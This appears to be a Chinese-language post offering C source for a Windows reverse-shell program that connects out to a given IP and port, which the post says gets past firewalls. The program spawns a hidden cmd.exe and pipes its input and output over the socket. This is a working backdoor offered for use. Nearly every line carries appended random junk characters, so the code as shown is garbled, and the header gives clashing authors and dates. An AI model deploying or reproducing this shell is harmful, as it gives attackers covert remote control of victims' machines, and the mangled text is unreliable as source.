这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H(Z88.OM
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/* ============================== } x2DT8u
Rebound port in Windows NT ]4pkcV
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By wind,2006/7 @CT;g\4
===============================*/ FGoy8+nB1M
#include 8/=L2fNN[
#include dzDqZQY$
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#pragma comment(lib,"wsock32.lib") +w+}b^4
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void OutputShell(); pNKhc#-w
SOCKET sClient; kYjGj,m"
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /|D*w^>
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void main(int argc,char **argv) , T8>}U(
{ 6e[VgN-s
WSADATA stWsaData; egq67S
int nRet; u)~C;f)
SOCKADDR_IN stSaiClient,stSaiServer; zc;|fHW~O
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if(argc != 3) i*@<y/&'
{ iT%} $Lu~
printf("Useage:\n\rRebound DestIP DestPort\n"); yc?a=6q'm
return; }#n;C{z2e
} ~1>.A(,=z
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WSAStartup(MAKEWORD(2,2),&stWsaData); k@z,Iq8
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <1t*I!e_
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stSaiClient.sin_family = AF_INET; G1o3l~x
stSaiClient.sin_port = htons(0); lLF-{
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #g]vc_V
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T>NDSami
{ j4^9 7
printf("Bind Socket Failed!\n"); !;KCU^9
return; *tK\R&4,4s
} 5) pj]S!]-
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stSaiServer.sin_family = AF_INET; s]f6/x/~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `1bv@yzq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !Rhlf.x
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d%V*|0c)
{ Wwr;-Qa}g
printf("Connect Error!"); V;,{}
return; 6jC`8l:
} yrC7F`.
OutputShell(); j,"@?Wt7
} GJoS #s
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void OutputShell() 0 g?z&?
{ ?'KL11@R
char szBuff[1024]; 2AO~HxF
SECURITY_ATTRIBUTES stSecurityAttributes; #0y)U;dA+w
OSVERSIONINFO stOsversionInfo; PqiB\~o@Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U'<KC"f:'!
STARTUPINFO stStartupInfo; nv~%#|v_W
char *szShell; TjwBv6h
PROCESS_INFORMATION stProcessInformation; hHT_V2*
unsigned long lBytesRead; y"H*%]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); RM!<8fXYD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )~HUo9K9
stSecurityAttributes.lpSecurityDescriptor = 0; k{Me[B
stSecurityAttributes.bInheritHandle = TRUE; >o7n+Rb:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 98uV6b~g
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nh!a)]c[
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -\
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +/)#( j@
stStartupInfo.wShowWindow = SW_HIDE; S|]X'f
stStartupInfo.hStdInput = hReadPipe; b-{=s+:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (4dhuT
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GetVersionEx(&stOsversionInfo); \<y#R~7s
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switch(stOsversionInfo.dwPlatformId) lna}@]oR
{ \4-"L>
case 1: A8oo@z68n>
szShell = "command.com"; +gJ8{u!=k
break; ](wvu(y\E
default: Ns7(j-
szShell = "cmd.exe"; Q2F+?w;,
break; O4^8jK}
} t ]_VG
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A .EbXo/
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send(sClient,szMsg,77,0); JAQb{KefdO
while(1) "6us#T
{ 9+{G8$Ai
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S=e{MI
if(lBytesRead) O"c;|zCc>
{ y6[If cN
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |>tKq;/
send(sClient,szBuff,lBytesRead,0); .R./0Ot tx
} v,4pp@8rv
else 3
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{ G}:lzOlMH
lBytesRead=recv(sClient,szBuff,1024,0); m6[0Kws&
if(lBytesRead<=0) break; s1h/}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [N#,K02mk
} D-4f >
} 7zSLAHW
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return; Z^IPZF
}